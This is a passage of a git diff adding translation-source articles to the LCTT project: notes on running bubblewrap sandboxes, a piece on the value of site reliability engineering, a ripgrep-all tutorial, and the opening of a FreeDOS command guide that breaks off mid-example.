and then run it with `bwrap` : + +There’s also a tool called [bwrap-oci][6] which looks cool but I +couldn’t get it to compile. + +``` +mkdir rootfs +docker export $(docker create frapsoft/fish) | tar -C rootfs -xf - +bwrap \ + --bind $PWD/rootfs / \ + --proc /proc --dev /dev \ + --uid 0 \ + --unshare-pid \ + --unshare-net \ + fish +``` + +One important thing to note is that this doesn’t create a temporary overlay +filesystem for the container’s file writes, so it’ll let the container edit +files in the image. + +I wrote a post about [overlay filesystems][7] if +you want to see how you could do that yourself though. + +#### running “containers” with bubblewrap isn’t the same as with podman + +I just gave an example of how to “run a container” with bubblewrap, and you +might think “cool, this is just like podman but faster!”. It is not, and it’s +actually unlike using podman in even more ways than I expected. + +I put “container” in scare quotes because there are two ways to define “container”: + +* something that implements [OCI runtime specification][8] +* any way of running a process in a way that’s somehow isolated from the host system + +bubblewrap is a “container” tool in the second sense. It definitely provides +isolation, and it does that using the same features – Linux namespaces – as +Docker. + +But it’s not a container tool in the first sense. And it’s a lower level tool +so you can get into a bunch of weird states and you really need to think about +all the weird details of how container work while using it. + +For the rest of the post I’m going to talk about some weird things that can +happen with bubblewrap that would not happen with podman/Docker. + +#### weird thing 1: processes that don’t exist + +Here’s an example of a weird situation I got into with bubblewrap that confused +me for a minute: + +``` +$ bwrap --ro-bind / / --unshare-all bash +$ ps aux +... some processes +root 390073 0.0 0.0 2848 124 pts/9 S 14:28 0:00 bwrap --ro-bind / / --unshare-all --uid 0 bash +... some other processes +$ kill 390073 +bash: kill: (390073) - No such process +$ ps aux | grep 390073 +root 390073 0.0 0.0 2848 124 pts/9 S 14:28 0:00 bwrap --ro-bind / / --unshare-all --uid 0 bash +``` + +Here’s what happened + +* I started a bash shell inside bubblewrap +* I ran `ps aux`, and saw a process with PID `390073` +* I try to kill the process. It fails with the error `no such process`. What? +* I ran `ps aux`, and still see the process with PID `390073` + +What’s going on? Why doesn’t the process `390073` exist, even though `ps` says it does? Isn’t that impossible? + +Well, the problem is that `ps` doesn’t actually list all the processes in your +current PID namespace. Instead, it iterates through all the entries in `/proc` +and prints those out. Usually, what’s in `/proc` is actually the same as the processes on your system. + +But with Linux containers these things can get out of sync. What’s happening in +this example is that we have the `/proc` from the host PID namespace, but those +aren’t actually the processes that we have access to in our PID namespace. + +Passing `--proc /proc` to bwrap fixes the issue – `ps` then actually lists the correct processes. + +``` +$ bwrap --ro-bind / / --unshare-all --dev /dev --proc /proc ps aux +USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND +bork 1 0.0 0.0 3644 136 ? S+ 16:21 0:00 bwrap --ro-bind / / --unshare-all --dev /dev --proc /proc ps au +bork 2 0.0 0.0 21324 1552 ? R+ 16:21 0:00 ps aux +``` + +Just 2 processes! Everything is normal! + +#### weird thing 2: trying to listen on port 80 + +Passing `--uid 0` to bubblewrap makes the user inside the container `root`. You +might think that this means that the root user has administrative privileges +inside the container, but that’s not true! + +For example, let’s try to listen on port 80: + +``` +$ bwrap --ro-bind / / --unshare-all --uid 0 nc -l 80 +nc: Permission denied +``` + +What’s going on here is that the new root user actually doesn’t have the +**capabilities** it needs to listen on port 80. (you need special permissions +to listen on ports less than 1024, and 80 is less than 1024) + +There’s actually a capability specifically for listening on privileged ports +called `CAP_NET_BIND_SERVICE`. + +So to fix this all we need to do is to tell bubblewrap to give our user that +capability. + +``` +$ bwrap --ro-bind / / --unshare-all --uid 0 --cap-add cap_net_bind_service nc -l 80 +(no output, success!!!) +``` + +This works! Hooray! + +#### finding the right capabilities is pretty annoying + +bubblewrap doesn’t give out any capabilities by default, and I find that +figuring out all the right capabilities and adding them manually is kind of +annoying. Basically my process is + +* run the thing +* see what fails +* read `man capabilities` to figure out what capabilities I’m missing +* add the capability with `--cap-add` +* repeat until everything is running + +But that’s the price I pay for wanting things to be fast I guess :) + +#### weird thing 2b: --dev /dev makes listening on privileged ports not work + +``` +--dev /dev +``` + +One other strange thing is that if I take the exact same command above (which +worked!) and add `--dev /dev` (to set up the `/dev/` directory), it causes it to not work again: + +``` +$ bwrap --ro-bind / / --dev /dev --unshare-all --uid 0 --cap-add cap_net_bind_service nc -l 80 +nc: Permission denied +``` + +I think this might be a bug in bubblewrap, but I haven’t mustered the courage +to dive into the bubblewrap code and start investigating yet. Or maybe there’s +something obvious I’m missing! + +#### weird thing 3: UID mappings + +Another slightly weird thing was – I tried to run `apt-get update` inside a bubblewrap Ubuntu container and everything went very poorly. + +Here’s how I ran `apt-get update` inside the Ubuntu container: + +``` +mkdir rootfs +docker export $(docker create ubuntu:20.04) | tar -C rootfs -xf - +bwrap \ + --bind $PWD/rootfs / \ + --proc /proc\ + --uid 0 \ + --unshare-pid \ + apt-get update +``` + +And here are the error messages: + +``` +E: setgroups 65534 failed - setgroups (1: Operation not permitted) +E: setegid 65534 failed - setegid (22: Invalid argument) +E: seteuid 100 failed - seteuid (22: Invalid argument) +E: setgroups 0 failed - setgroups (1: Operation not permitted) +.... lots more similar errors +``` + +At first I thought “ok, this is a capabilities problem, I need to set +`CAP_SETGID` or something to give the container permission to change groups. But I did that and it didn’t help at all! + +I think what’s going on here is a problem with UID maps. What are UID maps? +Well, every time you run a container using “user namespaces” (which podman is +doing), it creates a mapping of UIDs inside the container to UIDs on the host. + +Let’s look that the UID maps! Here’s how do that: + +```` +[[email protected]][9]:/# cat /proc/self/uid_map +0 1000 1 +[[email protected]][10]:/# cat /proc/self/gid_map +1000 1000 1 + +``` +This is saying that user 0 in the container is mapped to user 1000 on in the +host, and group 1000 is mapped to group 1000. (My normal user's UID/GID is 1000, so this makes sense). You can find out +about this `uid_map` file in `man user_namespaces`. + +All other users/groups that aren't 1000 are mapped to user 65534 by default, according +to `man user_namespaces`. + +### what's going on: non-mapped users can't be used + +The only users and groups that have been mapped are `0` and `1000`. But `man user_namespaces` says: + +> After the uid_map and gid_map files have been written, only the mapped values may be used in system calls that change user and group IDs. + +`apt` is trying to use users 100 and 65534. Those aren't on the list of mapped +users! So they can't be used! + +This works fine in podman, because podman sets up its UID and GID mappings differently: +``` + +$ podman run -it ubuntu:20.04 bash +[[email protected]][11]:/# cat /proc/self/uid_map +0 1000 1 +1 100000 65536 +[[email protected]][12]:/# cat /proc/self/gid_map +0 1000 1 +1 100000 65536 +``` + +All the users get mapped, not just 1000. + +I don’t quite know how to fix this, but I think it’s probably possible in +bubblewrap to set up the uid mappings the same way as podman does – there’s an +[issue about it here that links to a workaround][13]. + +But this wasn’t an actual problem I was trying to solve so I didn’t dig further +into it. + +#### it works pretty great! + +I’ve talked about a bunch of issues, but the things I’ve been trying to do in bubblewrap +have been very constrained and it’s actually been pretty simple. For example, I +was working on a git project where I really just want to run `git` inside a +container and map a git repository from the host. + +That’s very simple to get to work with bubblewrap! There were basically no weird problems! +It’s really fast! + +So I’m pretty excited about this tool and I might use it for more stuff in the +future. + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/06/28/some-notes-on-bubblewrap/ + +作者:[Julia Evans][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lkxed +[1]: https://jvns.ca/blog/2021/09/24/new-tool--an-nginx-playground/ +[2]: https://github.com/containers/bubblewrap +[3]: https://jvns.ca/blog/2016/10/10/what-even-is-a-container/ +[4]: https://github.com/opencontainers/runc +[5]: https://flatpak.org/ +[6]: https://github.com/projectatomic/bwrap-oci +[7]: https://jvns.ca/blog/2019/11/18/how-containers-work--overlayfs/ +[8]: https://opencontainers.org/about/overview/ +[9]: https://jvns.ca/cdn-cgi/l/email-protection +[10]: https://jvns.ca/cdn-cgi/l/email-protection +[11]: https://jvns.ca/cdn-cgi/l/email-protection +[12]: https://jvns.ca/cdn-cgi/l/email-protection +[13]: https://github.com/containers/bubblewrap/issues/468 diff --git a/sources/tech/20220628 Why organizations need site reliability engineers.md b/sources/tech/20220628 Why organizations need site reliability engineers.md new file mode 100644 index 0000000000..54a93dcf2b --- /dev/null +++ b/sources/tech/20220628 Why organizations need site reliability engineers.md @@ -0,0 +1,126 @@ +[#]: subject: "Why organizations need site reliability engineers" +[#]: via: "https://opensource.com/article/22/6/benefits-sre-site-reliability-engineering" +[#]: author: "Robert Kimani https://opensource.com/users/robert-charles" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Why organizations need site reliability engineers +====== +SRE is a valuable component in an efficient organization for software engineering, systems engineering, implementing DevSecOps, and more. + +![Puzzle pieces coming together to form a computer screen][1] + +Image by: Opensource.com + +In this final article that concludes my series about best practices for effective site reliability engineering (SRE), I cover some of the practical applications of site reliability engineering. + +There are some significant differences between software engineering and systems engineering. + +### Software engineering + +* Focuses on software development and engineering only. +* Involves writing code to create useful functionality. +* Time is spent on developing repeatable and reusable software that can be easily extended. +* Has problem-solving orientation. +* Software engineering aids the SRE. + +### Systems engineering + +* Focuses on the whole system including software, hardware and any associated technologies. +* Time is spent on building, analyzing, and managing solutions. +* Deals with defining characteristics of a system and feeds requirements to software engineering. +* Has systems-thinking orientation. +* Systems engineering enables SRE. + +The site reliability engineer (SRE) utilizes both software engineering and system engineering skills, and in so doing adds value to an organization. + +As the SRE team runs production systems, an SRE produces the most impactful tools to manage and automate manual processes. Software can be built faster when an SRE is involved, because most of the time the SRE creates software for their own use. As most of the tasks for an SRE are automated, which entails a lot of coding, this introduces a healthy mix of development and operations, which is great for site reliability. + +Finally, an SRE enables an organization to automatically scale rapidly whether it's scaling up or scaling down. + +### SRE and DevSecOps + +An SRE helps build end to end effective monitoring systems by utilizing logs, metrics and traces. An SRE enables fast, effective, and reliable rollbacks and automatic scaling up or down infrastructure as needed. These are especially effective during a security breach. + +With the advent of cloud and container-based architectures, data processing pipelines have become a prominent component in IT architectures. An SRE helps configure the most restrictive access to data processing pipelines. + +Finally, an SRE helps develop tools and procedures to handle incidents. While most of these incidents focus on IT operations and reliability, it can be easily extended to security. For example, DevSecOps deals with integrating development, security, and operations with heavy emphasis on automation. It's a field where development, security and operations teams work together to support and maintain an organization's applications and infrastructure. + +### Designing SRE and pre-production computing environments + +A pre-production or non-production environment is an environment used by an SRE to develop, deploy, and test. + +The non-production environment is the testing ground for automation. But it's not just application code that requires a non-production environment. Any associated automated processes, primarily the ones that an SRE develops, requires a pre-production environment. Most organizations have more than one pre-production environment. By resembling production as much as possible, the pre-production environment improves confidence in releases. At least one of your non-production environments should resemble the production environment. In many cases it's not possible to replicate production data, but you should try your best to make the non-production environments match the production environments as closely as possible. + +### Pre-production computing and the SRE + +An SRE helps spin-up identical application serving environments by using automation and specialized tools. This is essential, as you can quickly spin up a non-production environment in a matter of seconds using scripts and tools developed by SREs. + +A smart SRE treats configuration as code to ensure fast implementation of testing and deployment. Through the use of automated CI/CD pipelines, application releases and hot fixes can be made seamlessly. + +Finally, by developing effective monitoring solutions, an SRE helps to ensure the reliability of a pre-production computing environment. + +One of the closely related fields to pre-production computing is inner loop development. + +### Executing on inner loop development + +Picture two loops, an inner loop and an outer loop, forming the DevOps loop. In the inner loop, you code, build, run, and debug. This cycle mostly happens in a developer's workstation or some other non-production environment. + +Once the code is ready, it is moved to the outer loop, where the process starts with code review, build, deploy, integration tests, security and compliance, and finally pre-production release. + +Many of the processes in the outer loop and inner loop are automated by the SRE. + +![Image of a DevOps Loop][3] + +Image by: (Robert Kimani, CC BY-SA 40) + +### SRE and inner loop development + +The SRE speeds up inner loop development by enabling fast, iterative development by providing tools for containerized deployment. Many of the tools an SRE develops revolve around container automation and container orchestration, using tools such as Podman, Docker, Kubernetes, or platforms like OpenShift. + +An SRE also develops tools to help debug crashes with tools such as Java heap dump analysis tools, and Java thread dump analysis tools. + +### Overall value of SRE + +By utilizing both systems engineering and software engineering, an SRE organization delivers impactful solutions. An SRE helps to implement DevSecOps where development, security, and operations intersect with a primary focus on automation. + +SRE principles help maximize the function of pre-production environments by utilizing tools and processes that the SRE organizations deliver, so one can easily spin up non-production environment in a matter of seconds. An SRE organization enables efficient inner loop development by developing and providing necessary tools. + +* Improved end user experience: It's all about ensuring that the users of the applications and services, get the best experience as possible. This includes uptime of the applications or services. Applications should be up and running all the time and should be healthy. +* Minimizes or eliminates outages: It's better for users and developers alike. +* Automation: As the saying goes, you should always be trying to automate yourself out of the job that you are currently performing manually. +* Scale: In the age of cloud-native applications and containerized services, massive automated scalability is critical for an SRE to scale up or down in a safe and fast manner. +* Integrated: The principles and processes that the SRE organization embraces can be, and in many cases should be, extended to other parts of the organization, as with DevSecOps. + +The SRE is a valuable component in an efficient organization. As demonstrated over the course of this series, the benefits of SRE affect many departments and processes. + +### Further reading + +Below are some GitHub links to a few of my favorite SRE resources: + +* [Awesome site reliability engineering resources][4] +* [Awesome site reliability tools][5] +* [SRE cheat sheet][6] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/benefits-sre-site-reliability-engineering + +作者:[Robert Kimani][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/robert-charles +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/puzzle_computer_solve_fix_tool.png +[2]: https://opensource.com/downloads/guide-implementing-devsecops +[3]: https://opensource.com/sites/default/files/2022-06/SREFinalDevOps-Loop.png +[4]: https://github.com/dastergon/awesome-sre +[5]: https://github.com/SquadcastHub/awesome-sre-tools +[6]: https://github.com/shibumi/SRE-cheat-sheet diff --git a/sources/tech/20220628 ripgrep-all Command in Linux- One grep to Rule Them All.md b/sources/tech/20220628 ripgrep-all Command in Linux- One grep to Rule Them All.md new file mode 100644 index 0000000000..4ff5763d30 --- /dev/null +++ b/sources/tech/20220628 ripgrep-all Command in Linux- One grep to Rule Them All.md @@ -0,0 +1,269 @@ +[#]: subject: "ripgrep-all Command in Linux: One grep to Rule Them All" +[#]: via: "https://itsfoss.com/ripgrep-all/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +ripgrep-all Command in Linux: One grep to Rule Them All +====== + +[rga][1], called ripgrep-all, is an excellent tool that allows you to search almost all files for a text pattern. While the OG grep command is limited to plaintext files, rga can search for text in a wide range of file types such as PDF, e-Books, Word documents, zip, tar, and even embedded subtitles. + +### What is it exactly? + +The [grep][2] command is used for searching for text-based patterns in files. It actually means **g**lobal **re**gex **p**attern. You can not only search for simple words, but can also specify that the word should be the first word in a line, at the end of a line, or a specific word should come before it. That is why grep is so powerful, because it uses regex (regular expressions). + +There is also a limitation on grep, kind of. You can only use grep to search for patterns in a plaintext file. That means you can not [search for patterns in a PDF document][3], in a compressed tar/zip archive, nor in a database like SQLite. + +Now imagine having the powerful search that grep offers, but for other file types too. That is rga, or ripgrep-all, whatever you might call it. + +It is ripgrep, but with added functionality. We also have a tutorial covering [ripgrep][4], in case you are interested in it. + +### How to install ripgrep-all + +Arch Linux users can easily install ripgrep-all using the following command: + +``` +sudo pacman -S ripgrep-all +``` + +The Nix package manger has ripgrep-all packaged and for that, use the following command: + +``` +nix-env -iA nixpkgs.ripgrep-all +``` + +Mac users can should the homebrew package manager like so: + +``` +brew install ripgrep-all +``` + +#### Debian/Ubuntu users + +At the moment, ripgrep-all is neither available in Debian’s first-party repositories nor Ubuntu’s repositories. Fret not, that doesn’t mean it is unobtainium. + +On any other Debian based operating system (Ubuntu and its derivatives too), install the necessary dependencies first: + +``` +sudo apt-get install ripgrep pandoc poppler-utils ffmpeg +``` + +Once those are installed, visit [this page that contains the installer][5]. Find the file that has the “x86_64-unknown-linux-musl” suffix. Download and extract it. + +That tar archive contains two necessary binary executable files. They are “rga” and “rga-preproc”. + +Copy them to the “~/.local/bin” directory. In most cases, this directory will exist, but in case you do not have it, create it using the following command: + +``` +mkdir -p $HOME/.local/bin +``` + +Finally, add the following lines to your “~/.bashrc” file: + +``` +if ! [[ $PATH =~ "$HOME/.local/bin" ]]; then + PATH="$HOME/.local/bin:$PATH" +fi +``` + +Now, close and re-open the terminal to make the changes made in “~/.bashrc” effective. With that, ripgrep-all is installed. + +### Using ripgrep-all + +ripgrep-all is the name of the project, not the command name, the command name is `rga`. + +The rga utility supports the following file extensions: + +* media: `.mkv`, `.mp4`, `.avi` +* documents: `.epub`, `.odt`, `.docx`, `.fb2`, `.ipynb`, `.pdf` +* compressed archives: `.zip`, `.tar`, `.tgz`, `.tbz`, `.tbz2`, `.gz`, `.bz2`, `.xz`, `.zst` +* databases: `.db`, `.db3`, `.sqlite`, `.sqlite3` +* images (OCR): `.jpg`, `.png` + +You might be [familiar with grep][6], but let us look at some examples nonetheless. This time, with rga instead of grep. + +Before you proceed further, please take a look at the directory hierarchy given down below: + +``` +. +├── my_demo_db.sqlite3 +├── my_demo_document.odt +└── TLCL-19.01.pdf.zip +``` + +#### Case insensitive and case sensitive search + +The simplest pattern matching is to search for a word in a file. Let us try that. I will use the rga command to perform a case sensitive search for the words “red hat enterprise linux” for all files in current directory. + +While grep has case sensitivity turned on by default, with rga, the `-s` option needs to be used. + +``` +rga -s 'red hat enterprise linux' +``` + +![Case sensitive search using rga][7] + +As you can see, with a case sensitive search, I only got the result from a sqlite3 database file. Now, let us try a case insensitive search using the `-i` option and see what results we get. + +![Case insensitive search using rga][8] + +``` +rga -i 'red hat enterprise linux' +``` + +Ah, this time we also got a match from the [The Linux Command Line][9] book by William Shotts. + +#### Inverse match + +With grep, and by extension, with ripgrep-all, you can do an inverse match. Which means, “Show only lines that do NOT have this pattern”. + +The option for that is `-v` and that needs to be present immediately before the pattern. + +![Inverse match using rga][10] + +``` +rga -v linux *.sqlite3 AND rga linux *sqlite3 +``` + +Hey! Hold on. That isn’t Linux! + +This time I only selected the database file, that is because every other file has a lot of lines that do not contain the word ‘linux’ in them. + +And as you can see, the first command’s output does not have the word ‘linux’ in it. The second command is only to demonstrate that ‘linux’ is present in the database. + +#### Contextual search + +One thing I love about rga’s ability to search databases, in particular, is that it can not only search for your match but also provide relevant context (when asked). Although search in databases is not special, it is always a “Oh wow, it can do that?!” moment. + +A contextual search is performed using the following three options: + +* -A: show context after the matched line +* -B: show context before the matched line +* -C: show context before and after the matched line + +If this sounds confusing, fret not. I will discuss each option to help you understand it better. + +**Using the -C option** + +To show you what I am talking about, let us take a look at the following command and it’s output. This is an example of using the `-C` option. + +``` +rga -C 2 'red hat enterprise linux' +``` + +![Fully contextual search using rga][11] + +As you can see, not only I get the match from my database file, but I can also see the rows that are chronologically before the match and also rows that are after the match. This did not randomly jumble my rows, which is quite nice because I did not use keys to number each row. + +You might be wondering if something is wrong. I specified ‘2’, but only got ‘1’ line after. Well, that is because there is no row after the ‘fedora linux’ row in my database. :) + +**Using the -A option** + +To better understand the use of `-A` option, let us have a look at an example. + +``` +rga -A 2 Yours +``` + +![Contextual search (after) using rga][12] + +I see that is a letter of some sort… Makes me wonder what was in the body. + +**Using the -B option** + +I think that document is incomplete… Let us get a context of the lines that are above it. + +To see the previous lines, we need to use the `-B` option. + +``` +rga -B 6 Yours +``` + +![Contextual search (before) using rga][13] + +As you can see, I asked “Show me the 6 lines that come before my matched line” and I got this in the output. Quite handy for some situations, don’t you think? + +#### Multi-threaded search + +Since ripgrep-all is a wrapper around ripgrep, you can make use of various options [that LinuxHandbook has already covered][14]. + +One of those options is multi-threading. By default ripgrep chooses the thread count based on heuristics. And so, ripgrep-all does the same too. + +That doesn’t mean you can not specify them yourself! :) + +The option to do so is `-j`. Use it like so: + +``` +rga -j NUM-OF-THREADS +``` + +There isn’t a practical example to show this *reliably*, so I will leave this for you to test it yourself ;) + +#### Caching + +One of the main selling points of rga, besides supporting the vast number of file extensions, is that it efficiently caches data. + +As a default, depending on the OS, the following directories will store the cache generated by rga: + +* Linux: `~/.cache/rga` +* macOS: `~/Library/Caches/rga` + +I will first run the following command to remove my cache: + +``` +rm -rf ~/.cache/rga +``` + +Once the cache is cleared, I will run a simple query 2 times. I expect to see a performance improvement the second time. + +``` +time rga -i linux > /dev/null +time rga --rga-no-cache -i linux > /dev/null +``` + +![Automatic caching done by rga][15] + +I deliberately chose the pattern ‘linux’ as it is occurring a lot of times in ‘The Linux Command Line’ book’s PDF and also in my ‘.odt’ document as well as my database file. To check speed, I don’t need to check the output, so that is redirected to the ‘/dev/null’ file. + +I see that the first time the command is ran, it does not have a cache. But the second time running the same command yields a faster run. + +In the end, I also use the –rga-no-cache option, to disable the use of the cache, even if it is present. The result is similar to the first run of rga command. + +### Conclusion + +rga is the Swiss Army Knife of grep. It is one tool that can be used for almost any kind of file and it behaves similarly to grep, at least with the regex, less so with the options. + +But all in all, rga is one of the tools that I recommend you use. Do comment and share your experience/thoughts! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ripgrep-all/ + +作者:[Pratham Patel][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lkxed +[1]: https://github.com/phiresky/ripgrep-all +[2]: https://linuxhandbook.com/what-is-grep/ +[3]: https://itsfoss.com/pdfgrep/ +[4]: https://linuxhandbook.com/ripgrep/ +[5]: https://github.com/phiresky/ripgrep-all/releases +[6]: https://linuxhandbook.com/grep-command-examples/ +[7]: https://itsfoss.com/wp-content/uploads/2022/06/Screenshot-from-2022-06-27-22-33-19-800x197.webp +[8]: https://itsfoss.com/wp-content/uploads/2022/06/Screenshot-from-2022-06-27-22-33-43-800x242.webp +[9]: https://www.linuxcommand.org/tlcl.php +[10]: https://itsfoss.com/wp-content/uploads/2022/06/Screenshot-from-2022-06-27-22-36-50-800x239.webp +[11]: https://itsfoss.com/wp-content/uploads/2022/06/Screenshot-from-2022-06-27-22-37-21-800x181.webp +[12]: https://itsfoss.com/wp-content/uploads/2022/06/Screenshot-from-2022-06-27-22-37-40-800x161.webp +[13]: https://itsfoss.com/wp-content/uploads/2022/06/Screenshot-from-2022-06-27-22-38-01-800x305.webp +[14]: https://linuxhandbook.com/ripgrep +[15]: https://itsfoss.com/wp-content/uploads/2022/06/Screenshot-from-2022-06-27-22-39-32-800x468.webp diff --git a/sources/tech/20220629 ABCs of FreeDOS- 26 commands I use all the time.md b/sources/tech/20220629 ABCs of FreeDOS- 26 commands I use all the time.md new file mode 100644 index 0000000000..36d120b9d2 --- /dev/null +++ b/sources/tech/20220629 ABCs of FreeDOS- 26 commands I use all the time.md @@ -0,0 +1,556 @@ +[#]: subject: "ABCs of FreeDOS: 26 commands I use all the time" +[#]: via: "https://opensource.com/article/22/6/26-freedos-commands" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +ABCs of FreeDOS: 26 commands I use all the time +====== +On its 28th anniversary, I'm pleased to share my top 26 favorite FreeDOS commands. + +![FreeDOS fish logo and command prompt on computer][1] + +Image by: Jim Hall, CC BY-SA 4.0. + +One of my family's first computers ran a command-line operating system called DOS, the "Disk Operating System." I grew up with DOS, and learned to leverage the command line to make my work easier. And so did a lot of other people. We loved DOS so much that in 1994, we created the FreeDOS Project. Today on June 29, we celebrate 28 years of FreeDOS. + +If you're new to FreeDOS, you may be confused about how to use the different command line programs that come with it. Let's get started with 26 of my favorite FreeDOS commands. To learn more, add the /? option after most commands to get more information: + +``` +C:\>attrib /? +ATTRIB v2.1 - Displays or changes file attributes. +Copyright (c) 1998-2003, licensed under GPL2. + +Syntax: ATTRIB { options | [path][file] | /@[list] } + +Options: + +  +H Sets the Hidden attribute.     -H  Clears the Hidden attribute. +  +S Sets the System attribute.     -S  Clears the System attribute. +  +R Sets the Read-only attribute.  -R  Clears the Read-only attribute. +  +A Sets the Archive attribute.    -A  Clears the Archive attribute. + +  /S Process files in all directories in the specified path(es). +  /D Process directory names for arguments with wildcards. +  /@ Process files, listed in the specified file [or in stdin]. + +Examples: + +  attrib file -rhs +  attrib +a -r dir1 dir2*.dat /s +  attrib -hs/sd /@list.txt *.* +``` + +### A is for ATTRIB + +The `ATTRIB` program displays or changes a file's *attributes*. An attribute can be one of four values: Hidden (H), System (S), Read-only (R), and Archive (A). + +Files marked as Hidden don't display in a directory listing. For example, suppose you want to "hide" a file called `SECRET.TXT` so no one would know it was there. First, you can show the attributes on that file to see its current settings: + +``` +C:\FILES>attrib secret.txt +[----A] SECRET.TXT +``` + +To hide this file, turn on the Hidden attribute by using the plus (`+` ) operator, like this: + +``` +C:\FILES>attrib +h secret.txt +[----A] -> [-H--A] SECRET.TXT +C:\FILES>dir + Volume in drive C is FREEDOS2022 + Volume Serial Number is 333D-0B18 + + Directory of C:\FILES + +.                    05-27-2022  9:22p +..                    05-27-2022  9:22p +         0 file(s)              0 bytes +         2 dir(s)     279,560,192 bytes free +``` + +Another common way to use `ATTRIB` is by manipulating the Read-only attribute, so you don't accidentally overwrite an important file. Suppose you want to protect the `SECRET.TXT` file so you can't delete or change it. Turn on the Read-only attribute like this, with the `+R` modifier: + +``` +C:\FILES>attrib +r secret.txt +[----A] -> [---RA] SECRET.TXT +C:\FILES>del secret.txt +C:\FILES\SECRET.TXT: Permission denied +no file removed. +``` + +### B is for BEEP + +If you need to add a little pizzazz to a batch file, you can use the `BEEP` command to get the user's attention. `BEEP` doesn't display anything to the screen, but simply generates a classic “beep” tone. + +Note that `BEEP` uses the PC's built-in speaker to make the “beep” sound. If you boot FreeDOS using a virtual machine, check that your system is set up to correctly emulate the PC speaker. Otherwise, you will not hear anything. + +### C is for CD + +Like Linux, FreeDOS supports directories, which allow you to organize your files in a way that makes sense to you. For example, you might keep all of your files in a directory called `FILES`, and you might have other directories inside `FILES` for certain kinds of files, such as `DOCS` for word processor files, or `SPRDSHT` for spreadsheet files. + +You can navigate into a directory using the `CD` or *change directory* command. The `CHDIR` command is the same as `CD`, if you prefer to use that syntax. + +To change into a new directory, use the `CD` command with the destination directory: + +``` +C:\>cd files +C:\FILES>cd sprdsht +C:\FILES\SPRDSHT>dir +Volume in drive C is FREEDOS2022 +Volume Serial Number is 333D-0B18 +  +Directory of C:\FILES\SPRDSHT +  +. 05-27-2022 9:59p +.. 05-27-2022 9:59p +FIB WKS 2,093 05-27-2022 10:07p +LAB1 WKS 2,087 05-27-2022 10:10p +MIS100 WKS 2,232 05-27-2022 10:05p +3 file(s) 6,412 bytes +2 dir(s) 279,527,424 bytes free +``` + +You don't have to navigate one directory at a time. You can instead provide the full directory path you want to change to, with one `CD` command: + +``` +C:\>cd \files\sprdsht +C:\FILES\SPRDSHT>dir +Volume in drive C is FREEDOS2022 +Volume Serial Number is 333D-0B18 +  +Directory of C:\FILES\SPRDSHT +  +.   05-27-2022 9:59p +.. 05-27-2022 9:59p +FIB WKS 2,093 05-27-2022 10:07p +LAB1 WKS 2,087 05-27-2022 10:10p +MIS100 WKS 2,232 05-27-2022 10:05p +3 file(s) 6,412 bytes +2 dir(s) 279,527,424 bytes free +``` + +### D is for DELTREE + +If you need to delete a single file, you can use the `DEL` command. To remove an empty directory, you can use the `RMDIR` or `RD` commands. But what if you want to delete a directory that has lots of files and subdirectories inside it? + +A directory with other directories inside it is called a *directory tree*. You can delete an entire directory tree with the `DELTREE` command. For example, to delete your `FILES` directory, including all the files and directories it contains, type this command: + +``` +C:\>deltree files + +    [DEFAULT-BUILD v1.02g] of DELTREE.  The "ROOT-SAFETY-CHECK" is enabled. + +Delete directory "C:\FILES" +and all its subdirectories? + +[Y] [N] [Q], [ENTER] ?  Y + +==> Deleting "C:\FILES" ... +``` + +You can easily and quickly wipe out a lot of work with a single `DELTREE` command, so the FreeDOS `DELTREE` prompts you to ask if this is really something you want to do. Use this command carefully. + +### E is for EDIT + +If you need to edit a text file on FreeDOS, the `EDIT` program lets you do that quickly and easily. For example, to start editing a file called `HELLO.TXT`, type `EDIT HELLO.TXT`. If the `HELLO.TXT` file already exists, `EDIT` opens the file for editing. If `HELLO.TXT` doesn't exist yet, then `EDIT` starts a new file for you. + +![Image of edit][3] + +FreeDOS `EDIT` uses a friendly interface that should be easy for most people to use. Use the menus to access the various features of EDIT, including saving a file, opening a new file, or exiting the editor. To access the menus, tap the Alt key on your keyboard, then use the arrow keys to get around and Enter to select an action. + +![Image of save menu][4] + +### F is for FIND + +If you need to find text in a file, the `FIND` command does the job. Similar to `fgrep` on Linux, `FIND` prints lines that contain a string. For example, to check the "Menu Default" entry in the `FDCONFIG.SYS` file, use `FIND` like this: + +``` +C:\>find "MENUDEFAULT" fdconfig.sys + +---------------- FDCONFIG.SYS +MENUDEFAULT=2,5 +``` + +If you aren't sure if the string you want to find uses uppercase or lowercase letters, add the `/I` option to ignore the letter case: + +``` +C:\>find /i "menudefault" fdconfig.sys +---------------- FDCONFIG.SYS +MENUDEFAULT=2,5 +``` + +### G is for GRAPHICS + +If you want to capture a screen, you might use the **PrtScr** (Print Screen) key on your keyboard to print the text on your monitor directly to a printer. However, this only works for plain text. If you want to print graphic screens, you need to load the `GRAPHICS` program. + +`GRAPHICS` supports different printer types, including HP PCL printers, Epson dot matrix printers, and PostScript-compatible printers. For example, if you have an HP laser printer connected to your computer, you can load support for that printer by typing this command: + +``` +C:\>graphics hpdefault +Running in MS GRAPHICS compatibility mode... +Using HPPCL type for type hpdefault +  If you think this is 